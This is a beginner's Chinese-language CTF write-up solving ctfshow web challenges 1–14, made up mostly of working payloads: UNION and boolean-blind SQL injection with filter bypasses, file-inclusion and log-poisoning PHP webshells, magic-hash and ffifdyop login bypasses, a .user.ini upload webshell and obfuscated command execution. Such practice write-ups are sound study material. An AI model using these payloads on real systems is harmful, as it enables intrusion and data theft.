ctfshow web1-14(持续更新~)

本人初学者,有错误欢迎大家批评指正~

web1-web签到题

打开后页面上只显示了“where is flag”。

右键-查看页面源代码。

这应该就是flag了,但是需要解密。丢到CyberChef里:

点一下Output后的魔法棒,找到flag:

ctfshow{720f8a20-4f50-495c-a7ca-8804dac92e97}

web2-手动注入

打开后是一个登录页面:

尝试一下万能密码,在用户名处输入:

'or true#

 输入之后页面上出现了“欢迎你,ctfshow”,说明刚刚登录成功了,同时页面上有回显。

那么这个回显到底对应的是我们查找出来的这条记录的哪个字段呢,接下来进行验证。

尝试select前三个字段,观察页面的回显情况。

'union select 1,2,3#

结果如下:

可以发现,页面回显的是第二列的内容。因此,用语句替换“2”,就可以在页面上回显我们想要的内容。接下来就是套路,先看数据库名,再看表名,再看列名,最后读取数据,如下:

#获取当前数据库名
'union select 1,database(),3#

#获取当前数据库中的表
'union select 1,(select(group_concat(table_name))from information_schema.tables where table_schema=database()),3#

#获取可疑表中的字段
a'union select 1,(select(group_concat(column_name))from information_schema.columns where table_schema='web2'and table_name='flag'),3#

#获取可疑字段值
a'union select 1,(select flag from flag),3#

1.获取当前数据库名。猜测就在当前数据库中。

2.获取数据库web2中的数据表名。猜测就在flag中。

3.获取数据表flag中的字段。那么直接读取这个字段应该就能得到flag了。

4.接下来获取flag字段的值。

得到flag:

ctfshow{360797a9-6951-43f3-8e67-bfd17f3ed0b8}

web3-php伪协议

题目如下:

看到源码的提示,通过include()函数,使用GET方法传递了一个参数url,这说明我们输入的url 的值会直接被当作文件路径包含进来。如果这个参数没有做任何过滤和限制,就可能存在文件包含漏洞。

由于include($_GET['url'])会直接包含我们指定的“文件”,我们可以尝试使用php://input 这个伪协议。它的作用是读取 POST 请求体的原始数据,并将这部分内容当作 PHP 代码来执行。

POST 请求体可以用burpsuite来构造。

<?php system('ls');?>表示读取当前目录下所有文件。

点击forward,发现界面上左上角多了一个文件名:

那么flag应该就在ctf_go_go_go里了。构造payload访问它:

https://…….challenge.ctf.show/?url=ctf_go_go_go

 果然页面左上角出现了回显,得到flag:

ctfshow{d53fb7ee-b831-41af-84bd-d448d163b750}

web4-日志注入

用伪协议之后页面报错error,说明这些协议被禁用了。但是注入点依然存在,因此可以考虑上传webshell到目录文件(因为每次都会执行),然后用蚁剑连接,读取该网页的文件。

F12查看页面源代码,点击网络,按F5刷新,找到第一个请求(通常是html页面)查看标头,找到server,可以看到为该网站使用的服务器是nginx。

构造payload,访问服务器的目录文件:

http://…….challenge.ctf.show/?url=/var/log/nginx/access.log

可以发现,每访问一次这个网页,就会多一条日志,而UA字段每次都会被写进日志。如果我们在UA字段后添加一句话木马,那么这个木马就会被写进日志。

这里注意把网址中的https改为http,否则木马可能会被拦截!

在UA字段后写入一句话木马:

<?php @eval($_POST['123']);?>

使用蚁剑连接后得到flag:

ctfshow{15dc3e11-1fc8-4d56-bb8a-b747545f31cb}

web5-Magic Hash

打开之后看到关键代码:

如果v1是全字母,v2是全数字,且它们的md5相同,就返回flag。

此处用到Magic Hash,指在 PHP 等弱类型语言中,某些字符串经过哈希(如 MD5、SHA1)后,其哈希值具有特殊格式(例如以0e 开头),导致在使用松散比较(==时产生意料之外的“相等”结果。这种现象被安全研究人员称为 Magic Hash 漏洞Magic Hash 碰撞

经典的Magic Hash:

md5('240610708')  → 0e462097431906509019562988736854
md5('QNKCDZO')    → 0e830400451993494058024219903391

这两个哈希值都以0e开头,后面全是数字,php会把它们当作“科学计数法”的数字,认为0e...==0e...==0,所以返回true。

构造payload:

https://15a822ad-bf92-4dee-bddc-42eb3a564a7a.challenge.ctf.show/?v1=QNKCDZO&v2=240610708

得到flag:

ctfshow{fbe712d5-2cdf-403f-aecf-08b979d999d9}

一些已经经过验证的magic hash:

md5 collision(md5碰撞)之记录一些MD5值 - 0yst3r - 博客园

web6-手动注入2

还是这个登录界面:

 和web2一样,先尝试万能密码'or true#,发现没法成功登录:

一般来说,可能是空格被过滤了,用/**/代替空格,尝试'/**/or/**/true/**/#:

成功登录了。接下来,和web2一样,找到回显位,再看数据库名、表名、列名,最后读取数据。只是要把空格替换成/**/。

#找到回显位
'union/**/select/**/1,2,3#

#获取当前数据库名
'union/**/select/**/1,database(),3#

#获取当前数据库中的表
'union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema=database()),3#

#获取可疑表中的字段
a'union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema='web6'and/**/table_name='flag'),3#

#获取可疑字段值
a'union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

找到回显位:

当前数据库:

当前数据库下的数据表:

数据表flag的字段:

 查看flag字段的内容:

得到flag:

ctfshow{b44b0225-4fe1-4731-8505-674822e4c07b}

web7-手动注入3

界面如下:

三个文章点进去之后,发现url分别是?id=1,2,3,如:

 这很可能就是注入点,尝试找到回显位:

?id=-1/**/union/**/select/**/1,2,3#

因为id不会等于-1,因此前面语句的查询结果为空,只会返回后面语句的结果:

可以发现,2和3都是回显位,选一个即可。我用了2。

接下来就是和web2、web6一样的套路了。唯一不同的是单引号被过滤了,这里用双引号。

#当前数据库
?id=-1/**/union/**/select/**/1,database(),3#

#当前数据库中的表
?id=-1/**/union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema=database()),3#

#获取可疑表中的字段
?id=-1/**/union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema="web7"and/**/table_name="flag"),3#

#获取可疑字段值
?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

结果分别为“web7”、“flag,page,user”、“flag”、“ctfshow{c659a999-5125-4950-a6be-7b5e0460cd6d}”。

得到flag:

ctfshow{c659a999-5125-4950-a6be-7b5e0460cd6d}

web8-sql盲注

还是和web7一样的界面:

但是用相同的方法解不出来了,应该是一些sql注入的关键词被过滤或拦截了。

发现分别让查询结果为true和false时,界面不一致:

使结果为true:

?id=1/**/or/**/true#

此时的界面:

使结果为false:

?id=1/**/or/**/false#

 此时的界面:

可以明显看出两个界面的长度不一样。

理论上来说,凭借true和false的输出不同,我们可以一个字母一个字母猜测数据库、数据表、列、值,但太费时间,因此直接编写一段代码进行批量猜测。关键payload如下:

#获取所有数据库名
ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata)from/**/%d/**/for/**/1))=%d

#获取当前数据库名
ascii(substr(database()from/**/%d/**/for/**/1))=%d

#获取指定数据库下的所有表名
ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema={db_hex})from/**/%d/**/for/**/1))=%d

#获取指定表下的所有列名ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name={table_hex})from/**/%d/**/for/**/1))=%d

#提取指定列的数据
ascii(substr((select/**/{target_column}/**/from/**/{target_table})from/**/%d/**/for/**/1))=%d

循环调用这些payload即可。

基于此,我做了一个sql盲注的小工具,适合true和false回显不同的情况,需要自取:

【免费】SQL盲注工具(基于布尔盲注的自动化工具)资源-优快云下载

使用该工具运行后,得到flag:

ctfshow{7ddedc0f-564c-484d-938f-30d602b47454}

web9-ffifdyop绕过

还是这个界面。但之前的方法都没用了。

那么目前已知的就只有一个网址,用dirsearch扫描它:

发现一个robots.txt,访问它试试看。

所有用户都不允许访问index.phps,看来这个文件确实是解题关键了,访问它。

访问之后直接跳出来一个文件:

下载后打开它:

用户名是默认的admin,密码则要验证md5。我们不知道密码,因此要想办法绕过这个验证。

已知有一个特殊的字符串“ffifdyop”,它的md5值是276f722736c95d99e921722cf9ed621c,解析为字符串时为“'or'6É]é!r,ùíb”。如果我们在密码处输入“ffifdyop”,那么源码中的sql语句会变成:

select * from user where username ='admin' and password =''or'6É]é!r,ùíb'

此时传入的password为空,or后的字符串'6É]é!r,ùíb'由于不等于0,会被判断为true。查询成立。

使用ffifdyop作为密码,结果如下:

flag为:

ctfshow{be01b744-c7b1-47e1-8a85-ae80fddfabc3} 

web10-rollup

和web9的界面很像,但多了个取消。

点一下取消,没想到直接跳出一个下载链接:

 下载后打开它:

从代码中可以看到,select等查询的关键词被过滤了。如果只是过滤它们,可以用双写绕过,比如selselectect,但是后面还验证了过滤前后的长度是否一致,如果不一致(有东西被过滤)就直接报错了,因此双写不可行。

本人当然是做不出,但这边先给出别的大佬的payload:

admin'or'1==1'/**/group/**/by/**/password/**/with/**/rollup/**/#

解释一下,由于我们不知道账号密码,因此就想办法自己在数据库中写入一个。这里用到rollup,这个sql语句表示在进行分组统计(group by)的基础上增加记录进行汇总统计。如果某列是数值型的话,它就会计算该组的总和,如果是其他,就会返回null。

而在本题中,username和password显然都不是数值型,那么我们使用rollup就会增加一条空记录,即username和password都等于null。这样我们就可以用新生成的这条记录进行登录了!

我做这道题的时候有两个疑惑:

1.这个payload为什么要加一个or'1==1'。

原因:group by是一个聚合操作,它必须作用于一个非空的结果集

2.payload中给username传递的参数是admin,但构造好一条空记录后,我觉得应该是用username=null和password=null来登录的。那么我这里传递的参数是admin,而不是null,为什么可以用这条空记录登录呢?

原因:前端传递username和password到数据库中查询后,登录的标准是查询到了记录,而不是说先查出username,再返回password,再去比对输入的password是否正确。这个sql语句会返回一条记录,也就是查询到了记录,那么就可以登录。

输入这条payload,得到flag:

ctfshow{e30f62df-3fac-49ab-ac0e-893ef71a0c65}

web11-session

打开后看到一段源代码:

可以看到一些sql查询语句还有空格被过滤了,同时也验证了过滤前后的长度,那么我们构造的payload中就不能有被过滤掉的这些语句。另外,我们发现了得到flag的条件,即:

$password==$_SESSION['password']

先来了解一下Session

在 PHP 中,Session 是一种在服务器端保存用户状态的机制。每个用户访问服务器时,PHP 可以为他创建一个唯一的会话(session)。服务器上会生成一个 session 文件,里面存储了这个用户的数据,比如:

$_SESSION['password'] = "secret123";

    客户端浏览器通过一个叫做PHPSESSID的 cookie 来“记住”自己对应的 session。例如:PHPSESSID=1c9984c1b12bac906bae9392cb47f5bd。下次请求时,浏览器自动带上这个 cookie,PHP 就知道该加载哪个 session 文件。

    关键来了,如果没有提供PHPSESSID,PHP 会认为你是一个全新的用户,并为你创建一个全新的、空的 session。那么空的session里根本就不存在$_SESSION['password'],此时访问它,得到的结果就是空(null)

    因此,我们只需要用bp抓包,把password改成空,并删去PHPSESSID就可以成功登录了。

    结果如下:

    得到flag:

    ctfshow{ad15fe41-8023-4afe-93d9-b1b776bbcd0f} 

    web12-glob绕过

    初始界面如下:

    没有什么思路,右键查看源代码,发现给出了一个提示:

     这里要求上传cmd的参数。构造payload,查看当前目录下的所有文件:

    ?cmd=print_r(scandir("."));
    
    或者
    
    ?cmd=print_r(glob("*"));

    发现返回了一个数组:

    flag应该就在这个文件名很长的php文件里,访问它:

    ?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
    
    或者
    
    ?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
    

    查看界面回显:

    得到flag:

    ctfshow{79a33c06-6d58-4680-a552-bf330037c1b8}

    红包题第二弹

    初始界面如下:

    没什么有价值的信息,右键-查看源代码:

    提示了一个注入点cmd,先用phpinfo();试一下是否存在执行漏洞:

    ?cmd=phpinfo();

     可以看到返回一段php代码,以下是代码的关键部分:

    由此可知,输入会过滤掉很多东西,仔细观察,发现还有几个剩下的:

    数字
    字母p
    符号<   >   ?   +   =   .   ;   `   /

    也就是说,我们只能用这些剩下的字母和符号来构造语句。

    有一种解析说用bp抓包把GET改成POST,上传一个文件来获取flag,然后再在payload中读取这个文件运行后的结果。我尝试了很多次还是做不出来,查了资料问了AI,AI说源代码中获取参数的方法是$cmd=$_GET['cmd'],即使用bp抓包修改了方法,后端还是用GET方法获取,因此只能读到cmd后面的内容,而不会看到请求体!如果源代码中是$cmd = $_REQUEST['cmd'],那么就可以上传请求体了,因为REQUEST同时接受 GET/POST。

    所以用以下这种方法,先给出payload:

    ?cmd=?><?=`/???/?p /???????? p.ppp`;?>

    这就非常巧妙了,它原本是:

    ?cmd=?><?php echo`/bin/cp /flag.txt p.ppp`;?>

    在这个语句里,<?php echo等价于<?=,而?匹配单个字符;/bin/cp是cp命令的原始位置(直接?p不行,因为在根目录下搜不到),成功将flag.txt复制到p.ppp。

    构造这个payload并运行,此时在当前目录下生成了p.ppp,我们只需要读取它即可:

    下载并打开p.ppp,得到flag:

    web13-.user.ini

    打开后是这样:

    用bp抓个包看看能够上传什么类型的文件:

    可以上传图片!于是我搞了个图片马,但是上传之后报错了:

    zise?应该是size?是文件大小的问题?

    没有思绪了,那么目前已知只有一个url,只能用dirsearch扫描它:

    扫出来一个upload.php。访问它:

    网页上只有一些提示,做到这里我去搜了wp,发现这里涉及源码泄露

    很多开发人员在修改文件时,会习惯性地将原文件进行备份,以本题为例,可能的备份文件名为:

    upload.php.bak
    upload.php~
    upload.php.save
    upload.zip
    upload.backup

    尝试访问upload.php.bak,跳出一个下载链接:

    下载后打开它,找到如下代码:

    <?php 
    	header("content-type:text/html;charset=utf-8");
    	$filename = $_FILES['file']['name'];
    	$temp_name = $_FILES['file']['tmp_name'];
    	$size = $_FILES['file']['size'];
    	$error = $_FILES['file']['error'];
    	$arr = pathinfo($filename);
    	$ext_suffix = $arr['extension'];
    	if ($size > 24){die("error file zise");}
    	if (strlen($filename)>9){die("error file name");}
    	if(strlen($ext_suffix)>3){die("error suffix");}
    	if(preg_match("/php/i",$ext_suffix)){die("error suffix");}
        if(preg_match("/php/i"),$filename)){die("error file name");}
    	if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}
        else{echo "文件上传失败!";}
    ?>
    

    由此可知, 上传文件的限制如下:

    1.文件 ≤ 24 字节(太小)
    2.文件名 ≤ 9 字符
    3.后缀 ≤ 3 字符
    4.文件名和后缀中不能含 "php" 字样

    原本的一句话木马:

    <?php @eval($_POST['a']);?> //a.php

    修改成满足条件的一句话木马:

    <?php eval($_POST['a']); //a.txt

    上传这个一句话木马:

    接下来应该运行它,但是我们上传的是txt文件,因此里面的木马不能被php解析。直接访问它,后端只会把它当作一个字符串返回。

    为了运行1.txt,我们还需要上传一个文件。.user.ini是PHP的隐藏配置文件,auto_prepend_file参数可以让服务器在每个页面运行前自动执行某个文件,设置auto_prepend_file =a.txt,可以让服务器在运行php文件前包含1.txt,那么1.txt自然就会被当作php代码解析了。

    auto_prepend_file =a.txt //.user.ini

    上传这个文件。

    但是用蚁剑连不上,直接使用curl命令:

    curl -k -d "a=system('ls');" https://…….challenge.ctf.show/upload.php

    找到了一个文件名很长的可疑文件,但是不能直接在网页上访问,因为它是以“?”开头的,会被当做一个参数上传。于是用cat命令访问:

    得到flag:ctfshow{204384d5-4d83-4eba-a6d8-07ad346007cf}

    web14-手动注入4

    打开之后看到一段代码。

    可以看到GET方法传入的参数为c,于是构造payload:

    ?c=1
    ?c=2
    ?c=3
    ……

    尝试到3的时候,页面输出一个可疑文件:

    直接在网址中访问它,跳出一个提示框,点击确定:

    看起来是sql注入。F12查看源代码:

    这个注释提示我们,一些关键词被过滤了。因此后文用information_schema.`tables`等代替information_schema.tables等。

    尝试了一些基础的语句,发现过滤了空格。用/**/替代空格。

    #获取数据库名
    -1/**/union/**/select/**/database();#
    
    #获取当前数据库中的数据表名
    -1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema='web';#
    
    #获取可疑数据表中的字段名
    -1/**/union/**/select/**/group_concat(column_name)from/**/information_schema.`columns`/**/where/**/table_schema='web'and/**/table_name='content';#
    
    #获取可疑字段值
    -1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#

    回显如下:

    没有找到flag,猜测是在secret.php中。基于Web服务器的默认路径/var/www/html尝试读取secret.php的内容。

    -1/**/union/**/select/**/load_file('/var/www/html/secret.php')

    没有显示,但源代码中多出一段:

    如果/tmp/gtf1y这个文件的内容里有ctf.show,就返回/real_flag_is_here这个路径下的内容。

    构造payload:

    -1/**/union/**/select/**/'ctf.show'/**/into outfile/**/'/tmp/gtf1y'#

    运行之后再访问secret.php:

    当然也可以直接访问/real_flag_is_here:

    得到flag:ctfshow{384c655e-8559-4a7d-8cca-3c3b8c312e0d} 

    红包题第六弹

    看到一个登录界面:

    随便输入,点击登录,提示md5 error:

    右键查看源码,在ctfshow这个函数里看到一个注入点:

    oReq.open("POST", "check.php?token="+token+"&php://input", true);

    我们先随便构造一个payload:

    扫描一下这个网站:
    (还在更新中,欢迎关注~)

    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值